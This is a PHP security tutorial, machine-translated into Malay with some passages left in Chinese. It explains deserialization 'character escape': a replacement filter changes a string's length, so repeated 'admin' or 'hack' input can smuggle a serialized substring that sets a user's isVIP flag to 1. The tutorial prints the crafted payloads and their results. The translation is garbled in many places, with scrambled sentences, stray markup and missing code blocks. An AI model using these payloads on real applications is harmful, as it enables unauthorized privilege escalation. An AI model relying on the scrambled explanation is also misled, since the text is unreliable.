Apabila pembangun mensirikan objek terlebih dahulu, dan kemudian mensirikan objek dalam objek Aksara adalah ditapis dan akhirnya dinyahsiri. Pada masa ini, mungkin terdapat kelemahan dalam pelarian aksara penyahserialisasian PHP.
Untuk pelarian watak penyahserialisasian PHP, kami akan membincangkannya dalam dua situasi berikut.
Terdapat lebih banyak aksara selepas penapisan
Ada lebih sedikit aksara selepas penapisan
Selepas menapis, terdapat lebih banyak aksara
Katakan kita mentakrifkan kelas user
dahulu, dan kemudian terdapat sejumlah 3 pembolehubah ahli di dalamnya: username
, password
, isVIP
.
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
Anda boleh melihat bahawa apabila kelas ini dimulakan, pembolehubah isVIP
menjadi lalai kepada 0
dan tidak dipengaruhi oleh parameter yang dihantar semasa pemula.
Seterusnya, siarkan kod lengkap untuk memudahkan analisis kami.
Output program ini adalah seperti berikut:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Seperti yang anda lihat, pembolehubah isVIP
selepas siri objek ialah 0
.
Pada masa ini kami menambah fungsi untuk menggantikan watak admin, menggantikan admin dengan penggodam Fungsi penggantian adalah seperti berikut:
function filter($s){ return str_replace("admin","hacker",$s); }
Jadi keseluruhan program adalah seperti berikut: <🎜. >
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
Rentetan dalam yang ditapis tidak sepadan dengan panjang aksara sebelumnya hacker
s:5:"admin"; s:5:"hacker";
yang masuk adalah boleh dikawal Kami pembolehubah admin
kepada isVIP
1
subrentetan sedia ada Bandingkan dengan sasaran subrentetan:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
subrentetan sasaran< kami pada kedudukan pembolehubah boleh dikawal admin
🎜>. Mula-mula hitung panjang
:
kerana panjang rentetan yang perlu kita lepaskan ialah";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
Selepas setiap penapisan, ia akan menjadi 47
, yang bermaksud setiap kali admin
muncul, akan ada lebih banyak hacker
aksara. admin
1
Jadi kami mengulangi
kali admin pada pembolehubah boleh dikawal, dan kemudian tambahkan subrentetan sasaran kami yang dilepaskan Pembolehubah boleh dikawal diubah suai seperti berikut:
Kod lengkap adalah seperti berikut:adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
secara keseluruhannya terdapat 47godamr, dengan jumlah 282 aksara, yang betul-betul sepadan dengan 282 sebelumnya. Subrentetan yang disuntik di belakang juga hanya melengkapkan pelarian.
Selepas penyahserilan, subrentetan berlebihan akan dibuangKami kemudiannya menyahsiri hasil bersiri dan kemudian mengeluarkannya Kod lengkapnya adalah seperti berikut:Output atur cara adalah seperti berikut:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
, dan tujuan penyahserikatan watak melarikan diri tercapai. isVIP
1
Kurang aksara selepas penapisanDi atas menerangkan situasi di mana terdapat lebih banyak aksara dalam pelarian aksara penyahserialisasian PHP.
Perkara berikut mula menerangkan situasi di mana watak penyahserialisasian kurang melarikan diri.
Pertama sekali, kod badan utama masih sama seperti di atas, masih kelas yang sama Bezanya dalam fungsi penapis, kita menukar penggodam kepada menggodam.
Kod lengkap adalah seperti berikut:
Dapatkan hasil:O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
dan Rentetan subrentetan sasaran :
Kerana semasa penapisan,";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
aksara telah dipadamkan kepada 4 aksara, jadi ia bertentangan dengan situasi di atas di mana terdapat lebih banyak aksara , apabila bilangan admin bertambah, subrentetan sedia ada akan diindenkan selepasnya. Kira panjang
subrentetan sasaran:
Kemudian hitung panjang rentetan kepada pembolehubah boleh dikawal seterusnya";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47
: < . masa tidak setepat situasi melarikan diri dengan lebih banyak aksara, dan mungkin perlu dilaraskan kemudian) Kod lengkap adalah seperti berikut: (Terdapat sejumlah
22 pentadbir";s:8:"password";s:6:" //长度为22
Hasil keluaran: Nota: Mekanisme penyahserikatan PHP ialah, sebagai contoh, jika terdapat 10 aksara yang dinyatakan di hadapan, tetapi hanya 9 dibaca, ia akan menjadi tanda petikan berganda, pada masa ini PHP akan menganggap petikan berganda sebagai aksara ke-10, yang bermaksud bahawa ia tidak menilai sama ada rentetan telah berakhir berdasarkan petikan berganda, tetapi membaca rentetan mengikut kepada nombor yang ditetapkan sebelum ini.
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
Atas ialah kandungan terperinci Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!